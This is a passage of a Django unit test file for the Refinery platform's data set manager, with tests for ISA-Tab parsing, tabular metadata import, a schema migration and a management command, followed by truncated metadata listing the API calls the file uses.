self.assertRaises(ParserException):\n self.parse(tmp)\n\n def test_minimal(self):\n investigation = self.parse('minimal')\n\n studies = investigation.study_set.all()\n self.assertEqual(len(studies), 1)\n\n assays = studies[0].assay_set.all()\n self.assertEqual(len(assays), 1)\n\n def test_mising_investigation(self):\n with self.assertRaises(ParserException):\n self.parse('missing-investigation')\n\n def test_mising_study(self):\n with self.assertRaises(IOError):\n self.parse('missing-study')\n\n def test_mising_assay(self):\n with self.assertRaises(IOError):\n self.parse('missing-assay')\n\n def test_multiple_investigation(self):\n # TODO: I think this should fail?\n self.parse('multiple-investigation')\n\n def test_multiple_study(self):\n investigation = self.parse('multiple-study')\n\n studies = investigation.study_set.all()\n self.assertEqual(len(studies), 2)\n\n assays0 = studies[0].assay_set.all()\n self.assertEqual(len(assays0), 1)\n\n assays1 = studies[1].assay_set.all()\n self.assertEqual(len(assays1), 1)\n\n def test_multiple_study_missing_assay(self):\n with self.assertRaises(IOError):\n self.parse('multiple-study-missing-assay')\n\n def test_multiple_assay(self):\n investigation = self.parse('multiple-assay')\n\n studies = investigation.study_set.all()\n self.assertEqual(len(studies), 1)\n\n assays = studies[0].assay_set.all()\n self.assertEqual(len(assays), 2)\n\n def test_bad_isatab_rollback_from_parser_exception_a(self):\n with self.assertRaises(IOError):\n parse_isatab(self.user.username, False,\n os.path.join(TEST_DATA_BASE_PATH,\n \"HideLabBrokenA.zip\"))\n self.failed_isatab_assertions()\n\n def test_bad_isatab_rollback_from_parser_exception_b(self):\n with self.assertRaises(IOError):\n parse_isatab(self.user.username, False,\n os.path.join(TEST_DATA_BASE_PATH,\n \"HideLabBrokenB.zip\"))\n self.failed_isatab_assertions()\n\n\n@override_settings(\n REFINERY_DATA_IMPORT_DIR=os.path.abspath(TEST_DATA_BASE_PATH)\n)\nclass MetadataImportTestBase(IsaTabTestBase):\n def setUp(self):\n super(MetadataImportTestBase, self).setUp()\n self.test_user_directory = os.path.join(\n TEST_DATA_BASE_PATH, self.user.username\n )\n os.mkdir(self.test_user_directory)\n\n def tearDown(self):\n with mock.patch.object(FileStoreItem, \"terminate_file_import_task\"):\n super(MetadataImportTestBase, self).tearDown()\n shutil.rmtree(self.test_user_directory)\n\n def successful_import_assertions(self):\n self.assertEqual(DataSet.objects.count(), 1)\n self.assertEqual(Study.objects.count(), 1)\n self.assertEqual(Investigation.objects.count(), 1)\n self.assertEqual(Assay.objects.count(), 1)\n\n def unsuccessful_import_assertions(self):\n self.assertEqual(DataSet.objects.count(), 0)\n self.assertEqual(Study.objects.count(), 0)\n self.assertEqual(Investigation.objects.count(), 0)\n self.assertEqual(Assay.objects.count(), 0)\n\n def get_test_file_path(self, file_name):\n return os.path.join(TEST_DATA_BASE_PATH, file_name)\n\n def post_tabular_meta_data_file(self,\n meta_data_file_path=None,\n data_set_uuid=None,\n title=\"Test Tabular File\",\n data_file_column=2,\n species_column=1,\n source_column_index=0,\n delimiter=\"comma\"):\n with open(meta_data_file_path) as f:\n post_data = {\n \"file\": f,\n \"file_name\": os.path.basename(meta_data_file_path),\n \"title\": title,\n \"data_file_column\": data_file_column,\n \"species_column\": species_column,\n \"source_column_index\": source_column_index,\n \"delimiter\": delimiter\n }\n url = \"/data_set_manager/import/metadata-table-form/\"\n if data_set_uuid is not None:\n url += \"?data_set_uuid={}\".format(data_set_uuid)\n\n response = self.client.post(\n url,\n data=post_data,\n HTTP_X_REQUESTED_WITH='XMLHttpRequest'\n )\n return response\n\n\nclass SingleFileColumnParserTests(TestCase):\n def setUp(self):\n self.import_file_mock = mock.patch.object(import_file, \"delay\").start()\n\n def tearDown(self):\n mock.patch.stopall()\n\n def process_csv(self, filename):\n path = os.path.join(\n TEST_DATA_BASE_PATH,\n 'single-file',\n filename\n )\n with open(path) as f:\n dataset_uuid = process_metadata_table(\n username='guest',\n title='fake',\n metadata_file=f,\n source_columns=[0],\n data_file_column=2,\n )\n return DataSet.objects.get(uuid=dataset_uuid)\n\n def assert_expected_nodes(self, dataset, node_count):\n assays = dataset.get_assays()\n self.assertEqual(len(assays), 1)\n data_nodes = Node.objects.filter(assay=assays[0], type='Raw Data File')\n self.assertEqual(len(data_nodes), node_count)\n\n def test_one_line_csv(self):\n dataset = self.process_csv('one-line.csv')\n self.assert_expected_nodes(dataset, 1)\n\n def test_two_line_csv(self):\n dataset = self.process_csv('two-line.csv')\n self.assert_expected_nodes(dataset, 2)\n\n def test_reindex_triggered_for_nodes_missing_datafiles(self):\n with mock.patch(\n \"data_set_manager.search_indexes.NodeIndex.update_object\"\n ) as update_object_mock:\n dataset = self.process_csv('two-line-local.csv')\n\n self.assert_expected_nodes(dataset, 2)\n self.assertEqual(2, update_object_mock.call_count)\n\n def test_reindex_triggered_for_s3_nodes_missing_datafiles(self):\n with mock.patch(\n \"data_set_manager.search_indexes.NodeIndex.update_object\"\n ) as update_object_mock:\n dataset = self.process_csv('two-line-s3.csv')\n\n self.assert_expected_nodes(dataset, 2)\n self.assertEqual(2, update_object_mock.call_count)\n\n\nclass UpdateMissingAttributeOrderTests(TestMigrations):\n migrate_from = '0004_auto_20171211_1145'\n migrate_to = '0005_update_attribute_orders'\n\n def setUpBeforeMigration(self, apps):\n self.datasets_to_create = 3\n for i in xrange(self.datasets_to_create):\n create_dataset_with_necessary_models()\n\n self.assertEqual(\n 0,\n AttributeOrder.objects.filter(\n solr_field=NodeIndex.DOWNLOAD_URL\n ).count()\n )\n\n def test_attribute_orders_created(self):\n self.assertEqual(\n self.datasets_to_create,\n AttributeOrder.objects.filter(\n solr_field=NodeIndex.DOWNLOAD_URL\n ).count()\n )\n for attribute_order in AttributeOrder.objects.all():\n self.assertTrue(attribute_order.is_exposed)\n self.assertTrue(attribute_order.is_active)\n self.assertFalse(attribute_order.is_facet)\n self.assertFalse(attribute_order.is_internal)\n self.assertEqual(0, attribute_order.rank)\n self.assertEqual(NodeIndex.DOWNLOAD_URL,\n attribute_order.solr_field)\n\n\nclass InvestigationTests(IsaTabTestBase):\n def setUp(self):\n super(InvestigationTests, self).setUp()\n self.isa_tab_dataset = create_dataset_with_necessary_models(\n is_isatab_based=True\n )\n self.isa_tab_investigation = self.isa_tab_dataset.get_investigation()\n\n self.tabular_dataset = create_dataset_with_necessary_models()\n self.tabular_investigation = self.tabular_dataset.get_investigation()\n\n def test_get_isa_archive_file_store_item(self):\n self.assertIsNotNone(self.isa_tab_investigation.get_file_store_item())\n\n def test_get_pre_isa_archive_file_store_item(self):\n self.assertIsNotNone(self.tabular_investigation.get_file_store_item())\n\n def test_get_identifier(self):\n self.assertEqual(self.isa_tab_investigation.get_identifier(),\n self.isa_tab_investigation.identifier)\n\n def test_get_identifier_no_identifier(self):\n # Investigations without identifiers should resort to using the\n # info from their Study\n self.isa_tab_investigation.identifier = None\n self.isa_tab_investigation.save()\n self.assertEqual(self.isa_tab_investigation.get_identifier(),\n self.isa_tab_dataset.get_latest_study().identifier)\n\n def test_get_description(self):\n self.assertEqual(self.isa_tab_investigation.get_description(),\n self.isa_tab_investigation.description)\n\n def test_get_description_no_description(self):\n # Investigations without descriptions should resort to using the\n # info from their Study\n self.isa_tab_investigation.description = None\n self.isa_tab_investigation.save()\n self.assertEqual(self.isa_tab_investigation.get_description(),\n self.isa_tab_dataset.get_latest_study().description)\n\n def test_get_study_count(self):\n self.assertEqual(self.isa_tab_investigation.get_study_count(), 1)\n\n def test_get_assay_count(self):\n self.assertEqual(self.isa_tab_investigation.get_assay_count(), 1)\n\n def test_get_datafile_names(self):\n with open(os.path.join(TEST_DATA_BASE_PATH, \"rfc-test.zip\")) as isatab:\n self.post_isa_tab(isa_tab_file=isatab)\n investigation = DataSet.objects.last().get_investigation()\n self.assertEqual(\n investigation.get_datafile_names(),\n [u'rfc-test.zip', u'rfc111.txt', u'rfc125.txt', u'rfc126.txt',\n u'rfc134.txt', u'rfc174.txt', u'rfc177.txt', u'rfc178.txt',\n u'rfc86.txt', u'rfc94.txt']\n )\n\n def test_get_datafile_names_local_only(self):\n with open(os.path.join(TEST_DATA_BASE_PATH, \"rfc-test.zip\")) as isatab:\n self.post_isa_tab(isa_tab_file=isatab)\n investigation = DataSet.objects.last().get_investigation()\n self.assertEqual(investigation.get_datafile_names(local_only=True),\n [u'rfc-test.zip'])\n\n def test_get_datafile_names_exclude_metadata_file(self):\n with open(os.path.join(TEST_DATA_BASE_PATH, \"rfc-test.zip\")) as isatab:\n self.post_isa_tab(isa_tab_file=isatab)\n investigation = DataSet.objects.last().get_investigation()\n self.assertEqual(investigation.get_datafile_names(\n exclude_metadata_file=True),\n [u'rfc111.txt', u'rfc125.txt', u'rfc126.txt', u'rfc134.txt',\n u'rfc174.txt', u'rfc177.txt', u'rfc178.txt', u'rfc86.txt',\n u'rfc94.txt'])\n\n def test_get_file_store_items(self):\n with open(os.path.join(TEST_DATA_BASE_PATH, \"rfc-test.zip\")) as isatab:\n self.post_isa_tab(isa_tab_file=isatab)\n investigation = DataSet.objects.last().get_investigation()\n self.assertEqual(len(investigation.get_file_store_items()), 10)\n\n def test_get_file_store_items_exclude_metadata_file(self):\n with open(os.path.join(TEST_DATA_BASE_PATH, \"rfc-test.zip\")) as isatab:\n self.post_isa_tab(isa_tab_file=isatab)\n investigation = DataSet.objects.last().get_investigation()\n self.assertEqual(len(investigation.get_file_store_items(\n exclude_metadata_file=True)), 9)\n\n def test_get_file_store_items_local_only(self):\n with open(os.path.join(TEST_DATA_BASE_PATH, \"rfc-test.zip\")) as isatab:\n self.post_isa_tab(isa_tab_file=isatab)\n investigation = DataSet.objects.last().get_investigation()\n self.assertEqual(len(investigation.get_file_store_items(\n local_only=True)), 1)\n\n\n@override_storage()\n@override_settings(CELERY_ALWAYS_EAGER=True)\nclass TestManagementCommands(TestCase):\n def setUp(self):\n self.test_data_base_path = os.path.join(TEST_DATA_BASE_PATH,\n \"single-file\")\n self.args = [\n \"--username\", \"guest\",\n \"--source_column_index\", \"2\",\n \"--data_file_column\", \"2\",\n ]\n\n def test_process_metadata_table_csv(self):\n two_line_csv = os.path.join(self.test_data_base_path,\n \"two-line-local.csv\")\n self.args.extend(\n [\n \"--title\", \"Process Metadata Table Test csv\",\n \"--file_name\", two_line_csv,\n ]\n )\n call_command(\n \"process_metadata_table\",\n *self.args,\n base_path=self.test_data_base_path,\n is_public=True,\n delimiter=\"comma\"\n )\n self.assertEqual(DataSet.objects.count(), 1)\n\n # One metadata file & two data files referenced in the metadata\n self.assertEqual(FileStoreItem.objects.count(), 3)\n\n def test_process_metadata_table_tsv(self):\n two_line_tsv = os.path.join(self.test_data_base_path,\n \"two-line-local.tsv\")\n self.args.extend(\n [\n \"--title\", \"Process Metadata Table Test csv\",\n \"--file_name\", two_line_tsv,\n ]\n )\n call_command(\n \"process_metadata_table\",\n *self.args,\n base_path=self.test_data_base_path,\n is_public=True\n )\n self.assertEqual(DataSet.objects.count(), 1)\n\n def test_process_metadata_table_custom_delimiter(self):\n two_line_custom = os.path.join(self.test_data_base_path,\n \"two-line-local.custom\")\n self.args.extend(\n [\n \"--title\", \"Process Metadata Table Test custom delimiter\",\n \"--file_name\", two_line_custom,\n ]\n )\n call_command(\n \"process_metadata_table\",\n *self.args,\n base_path=self.test_data_base_path,\n is_public=True,\n delimiter=\"custom\",\n custom_delimiter_string=\"@\"\n )\n self.assertEqual(DataSet.objects.count(), 1)\n\n def test_process_metadata_table_custom_delimiter_none_specified(self):\n two_line_custom = os.path.join(self.test_data_base_path,\n \"two-line-local.custom\")\n self.args.extend(\n [\n \"--title\", \"Process Metadata Table Test custom delimiter\",\n \"--file_name\", two_line_custom,\n ]\n )\n with self.assertRaises(CommandError) as context:\n call_command(\n \"process_metadata_table\",\n *self.args,\n base_path=self.test_data_base_path,\n is_public=True,\n delimiter=\"custom\"\n )\n self.assertIn(\"custom_delimiter_string was not specified\",\n context.exception.message)\n self.assertEqual(DataSet.objects.count(), 0)\n", "sub_path": "refinery/data_set_manager/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 86657, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 55, "usage_type": "call"}, {"api_name": "django.test.TestCase", "line_number": 58, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.create_user", "line_number": 61, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 61, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 61, "usage_type": "name"}, {"api_name": "models.Investigation.objects.create", "line_number": 63, "usage_type": "call"}, {"api_name": "models.Investigation.objects", "line_number": 63, "usage_type": "attribute"}, {"api_name": "models.Investigation", "line_number": 63, "usage_type": "name"}, {"api_name": "core.models.DataSet.objects.create", "line_number": 64, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects", "line_number": 64, "usage_type": "attribute"}, {"api_name": "core.models.DataSet", "line_number": 64, "usage_type": "name"}, {"api_name": "core.models.InvestigationLink.objects.create", "line_number": 65, "usage_type": "call"}, {"api_name": "core.models.InvestigationLink.objects", "line_number": 65, "usage_type": "attribute"}, {"api_name": "core.models.InvestigationLink", "line_number": 65, "usage_type": "name"}, {"api_name": "models.Study.objects.create", "line_number": 68, "usage_type": "call"}, {"api_name": "models.Study.objects", "line_number": 68, "usage_type": "attribute"}, {"api_name": "models.Study", "line_number": 68, "usage_type": "name"}, {"api_name": "models.Assay.objects.create", "line_number": 71, "usage_type": "call"}, {"api_name": "models.Assay.objects", "line_number": 71, "usage_type": "attribute"}, {"api_name": "models.Assay", "line_number": 71, "usage_type": "name"}, {"api_name": "models.AttributeOrder.objects.create", "line_number": 194, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 194, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 194, "usage_type": "name"}, {"api_name": "models.Assay.objects.create", "line_number": 196, "usage_type": "call"}, {"api_name": "models.Assay.objects", "line_number": 196, "usage_type": "attribute"}, {"api_name": "models.Assay", "line_number": 196, "usage_type": "name"}, {"api_name": "models.AttributeOrder.objects.create", "line_number": 319, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 319, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 319, "usage_type": "name"}, {"api_name": "StringIO.StringIO", "line_number": 325, "usage_type": "call"}, {"api_name": "file_store.models.FileStoreItem.objects.create", "line_number": 327, "usage_type": "call"}, {"api_name": "file_store.models.FileStoreItem.objects", "line_number": 327, "usage_type": "attribute"}, {"api_name": "file_store.models.FileStoreItem", "line_number": 327, "usage_type": "name"}, {"api_name": "django.core.files.uploadedfile.InMemoryUploadedFile", "line_number": 328, "usage_type": "call"}, {"api_name": "models.Node.objects.create", "line_number": 337, "usage_type": "call"}, {"api_name": "models.Node.objects", "line_number": 337, "usage_type": "attribute"}, {"api_name": "models.Node", "line_number": 337, "usage_type": "name"}, {"api_name": "models.Node.objects.create", "line_number": 344, "usage_type": "call"}, {"api_name": "models.Node.objects", "line_number": 344, "usage_type": "attribute"}, {"api_name": "models.Node", "line_number": 344, "usage_type": "name"}, {"api_name": "file_store.models.FileStoreItem.objects.all", "line_number": 352, "usage_type": "call"}, {"api_name": "file_store.models.FileStoreItem.objects", "line_number": 352, "usage_type": "attribute"}, {"api_name": "file_store.models.FileStoreItem", "line_number": 352, "usage_type": "name"}, {"api_name": "utils.create_facet_field_counts", "line_number": 386, "usage_type": "call"}, {"api_name": "utils.escape_character_solr", "line_number": 414, "usage_type": "call"}, {"api_name": "utils.escape_character_solr", "line_number": 416, "usage_type": "call"}, {"api_name": "utils.create_facet_filter_query", "line_number": 422, "usage_type": "call"}, {"api_name": "utils.hide_fields_from_list", "line_number": 442, "usage_type": "call"}, {"api_name": "utils.is_field_in_hidden_list", "line_number": 456, "usage_type": "call"}, {"api_name": "utils.is_field_in_hidden_list", "line_number": 459, "usage_type": "call"}, {"api_name": "utils.generate_solr_params_for_assay", "line_number": 463, "usage_type": "call"}, {"api_name": "django.http.QueryDict", "line_number": 463, "usage_type": "call"}, {"api_name": "utils.generate_solr_params_for_assay", "line_number": 467, "usage_type": "call"}, {"api_name": "django.http.QueryDict", "line_number": 467, "usage_type": "call"}, {"api_name": "constants.REFINERY_SOLR_DOC_LIMIT", "line_number": 472, "usage_type": "attribute"}, {"api_name": "utils.generate_solr_params_for_assay", "line_number": 478, "usage_type": "call"}, {"api_name": "django.http.QueryDict", "line_number": 478, "usage_type": "call"}, {"api_name": "utils.generate_solr_params_for_assay", "line_number": 488, "usage_type": "call"}, {"api_name": "django.http.QueryDict", "line_number": 488, "usage_type": "call"}, {"api_name": "utils.generate_solr_params_for_assay", "line_number": 501, "usage_type": "call"}, {"api_name": "django.http.QueryDict", "line_number": 501, "usage_type": "call"}, {"api_name": "utils.generate_solr_params_for_assay", "line_number": 507, "usage_type": "call"}, {"api_name": "django.http.QueryDict", "line_number": 507, "usage_type": "call"}, {"api_name": "django.http.QueryDict", "line_number": 515, "usage_type": "call"}, {"api_name": "utils.generate_solr_params_for_assay", "line_number": 517, "usage_type": "call"}, {"api_name": "django.http.QueryDict", "line_number": 526, "usage_type": "call"}, {"api_name": "utils.generate_solr_params_for_assay", "line_number": 528, "usage_type": "call"}, {"api_name": "constants.REFINERY_SOLR_DOC_LIMIT", "line_number": 535, "usage_type": "attribute"}, {"api_name": "django.http.QueryDict", "line_number": 544, "usage_type": "call"}, {"api_name": "utils.generate_solr_params_for_assay", "line_number": 546, "usage_type": "call"}, {"api_name": "django.http.QueryDict", "line_number": 556, "usage_type": "call"}, {"api_name": "utils.generate_solr_params_for_assay", "line_number": 558, "usage_type": "call"}, {"api_name": "django.http.QueryDict", "line_number": 568, "usage_type": "call"}, {"api_name": "utils.generate_solr_params_for_assay", "line_number": 570, "usage_type": "call"}, {"api_name": "django.http.QueryDict", "line_number": 580, "usage_type": "call"}, {"api_name": "utils.generate_solr_params_for_assay", "line_number": 582, "usage_type": "call"}, {"api_name": "utils.cull_attributes_from_list", "line_number": 589, "usage_type": "call"}, {"api_name": "utils.cull_attributes_from_list", "line_number": 599, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects.filter", "line_number": 609, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 609, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 609, "usage_type": "name"}, {"api_name": "serializers.AttributeOrderSerializer", "line_number": 611, "usage_type": "call"}, {"api_name": "utils.generate_filtered_facet_fields", "line_number": 612, "usage_type": "call"}, {"api_name": "utils.generate_filtered_facet_fields", "line_number": 630, "usage_type": "call"}, {"api_name": "utils.get_owner_from_assay", "line_number": 635, "usage_type": "call"}, {"api_name": "utils.get_owner_from_assay", "line_number": 641, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 646, "usage_type": "call"}, {"api_name": "utils.format_solr_response", "line_number": 708, "usage_type": "call"}, {"api_name": "utils.format_solr_response", "line_number": 754, "usage_type": "call"}, {"api_name": "utils.customize_attribute_response", "line_number": 759, "usage_type": "call"}, {"api_name": "utils.customize_attribute_response", "line_number": 784, "usage_type": "call"}, {"api_name": "utils.customize_attribute_response", "line_number": 844, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects.get", "line_number": 921, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 921, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 921, "usage_type": "name"}, {"api_name": "utils.initialize_attribute_order_ranks", "line_number": 923, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects.filter", "line_number": 924, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 924, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 924, "usage_type": "name"}, {"api_name": "models.AttributeOrder.objects.get", "line_number": 948, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 948, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 948, "usage_type": "name"}, {"api_name": "utils.initialize_attribute_order_ranks", "line_number": 950, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects.filter", "line_number": 951, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 951, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 951, "usage_type": "name"}, {"api_name": "models.AttributeOrder.objects.get", "line_number": 975, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 975, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 975, "usage_type": "name"}, {"api_name": "utils.initialize_attribute_order_ranks", "line_number": 977, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects.filter", "line_number": 978, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 978, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 978, "usage_type": "name"}, {"api_name": "models.AttributeOrder.objects.get", "line_number": 1000, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1000, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1000, "usage_type": "name"}, {"api_name": "utils.update_attribute_order_ranks", "line_number": 1004, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects.filter", "line_number": 1005, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1005, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1005, "usage_type": "name"}, {"api_name": "models.AttributeOrder.objects.get", "line_number": 1024, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1024, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1024, "usage_type": "name"}, {"api_name": "utils.update_attribute_order_ranks", "line_number": 1028, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects.filter", "line_number": 1029, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1029, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1029, "usage_type": "name"}, {"api_name": "models.AttributeOrder.objects.get", "line_number": 1048, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1048, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1048, "usage_type": "name"}, {"api_name": "utils.update_attribute_order_ranks", "line_number": 1052, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects.filter", "line_number": 1053, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1053, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1053, "usage_type": "name"}, {"api_name": "models.AttributeOrder.objects.get", "line_number": 1072, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1072, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1072, "usage_type": "name"}, {"api_name": "utils.update_attribute_order_ranks", "line_number": 1075, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects.filter", "line_number": 1076, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1076, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1076, "usage_type": "name"}, {"api_name": "models.AttributeOrder.objects.get", "line_number": 1095, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1095, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1095, "usage_type": "name"}, {"api_name": "utils.update_attribute_order_ranks", "line_number": 1098, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects.filter", "line_number": 1099, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1099, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1099, "usage_type": "name"}, {"api_name": "models.AttributeOrder.objects.get", "line_number": 1100, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1100, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1100, "usage_type": "name"}, {"api_name": "utils.update_attribute_order_ranks", "line_number": 1104, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects.filter", "line_number": 1105, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1105, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1105, "usage_type": "name"}, {"api_name": "models.AttributeOrder.objects.get", "line_number": 1106, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1106, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1106, "usage_type": "name"}, {"api_name": "utils.update_attribute_order_ranks", "line_number": 1110, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects.filter", "line_number": 1111, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1111, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1111, "usage_type": "name"}, {"api_name": "models.AttributeOrder.objects.get", "line_number": 1130, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1130, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1130, "usage_type": "name"}, {"api_name": "utils.update_attribute_order_ranks", "line_number": 1134, "usage_type": "call"}, {"api_name": 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"line_number": 1697, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1700, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1700, "usage_type": "attribute"}, {"api_name": "isa_tab_parser.IsaTabParser", "line_number": 1701, "usage_type": "call"}, {"api_name": "isa_tab_parser.ParserException", "line_number": 1707, "usage_type": "argument"}, {"api_name": "isa_tab_parser.ParserException", "line_number": 1720, "usage_type": "argument"}, {"api_name": "tasks.parse_isatab", "line_number": 1762, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1763, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1763, "usage_type": "attribute"}, {"api_name": "tasks.parse_isatab", "line_number": 1769, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1770, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1770, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 1781, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1781, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 1784, "usage_type": "call"}, {"api_name": "mock.patch.object", "line_number": 1787, "usage_type": "call"}, {"api_name": "file_store.models.FileStoreItem", "line_number": 1787, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 1787, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 1789, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects.count", "line_number": 1792, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects", "line_number": 1792, "usage_type": "attribute"}, {"api_name": "core.models.DataSet", "line_number": 1792, "usage_type": "name"}, {"api_name": "models.Study.objects.count", "line_number": 1793, "usage_type": "call"}, {"api_name": "models.Study.objects", "line_number": 1793, "usage_type": "attribute"}, {"api_name": "models.Study", "line_number": 1793, "usage_type": "name"}, {"api_name": "models.Investigation.objects.count", "line_number": 1794, "usage_type": "call"}, {"api_name": "models.Investigation.objects", "line_number": 1794, "usage_type": "attribute"}, {"api_name": "models.Investigation", "line_number": 1794, "usage_type": "name"}, {"api_name": "models.Assay.objects.count", "line_number": 1795, "usage_type": "call"}, {"api_name": "models.Assay.objects", "line_number": 1795, "usage_type": "attribute"}, {"api_name": "models.Assay", "line_number": 1795, "usage_type": "name"}, {"api_name": "core.models.DataSet.objects.count", "line_number": 1798, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects", "line_number": 1798, "usage_type": "attribute"}, {"api_name": "core.models.DataSet", "line_number": 1798, "usage_type": "name"}, {"api_name": "models.Study.objects.count", "line_number": 1799, "usage_type": "call"}, {"api_name": "models.Study.objects", "line_number": 1799, "usage_type": "attribute"}, {"api_name": "models.Study", "line_number": 1799, "usage_type": "name"}, {"api_name": "models.Investigation.objects.count", "line_number": 1800, "usage_type": "call"}, {"api_name": "models.Investigation.objects", "line_number": 1800, "usage_type": "attribute"}, {"api_name": "models.Investigation", "line_number": 1800, "usage_type": "name"}, {"api_name": "models.Assay.objects.count", "line_number": 1801, "usage_type": "call"}, {"api_name": "models.Assay.objects", "line_number": 1801, "usage_type": "attribute"}, {"api_name": "models.Assay", "line_number": 1801, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 1804, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1804, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 1817, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1817, "usage_type": "attribute"}, {"api_name": "django.test.override_settings", "line_number": 1775, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 1776, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1776, "usage_type": "attribute"}, {"api_name": "django.test.TestCase", "line_number": 1836, "usage_type": "name"}, {"api_name": "mock.patch.object", "line_number": 1838, "usage_type": "call"}, {"api_name": "file_store.tasks.import_file", "line_number": 1838, "usage_type": "argument"}, {"api_name": "mock.patch", "line_number": 1838, "usage_type": "attribute"}, {"api_name": "mock.patch.stopall", "line_number": 1841, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 1841, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 1844, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1844, "usage_type": "attribute"}, {"api_name": "single_file_column_parser.process_metadata_table", "line_number": 1850, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects.get", "line_number": 1857, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects", "line_number": 1857, "usage_type": "attribute"}, {"api_name": "core.models.DataSet", "line_number": 1857, "usage_type": "name"}, {"api_name": "models.Node.objects.filter", "line_number": 1862, "usage_type": "call"}, {"api_name": "models.Node.objects", "line_number": 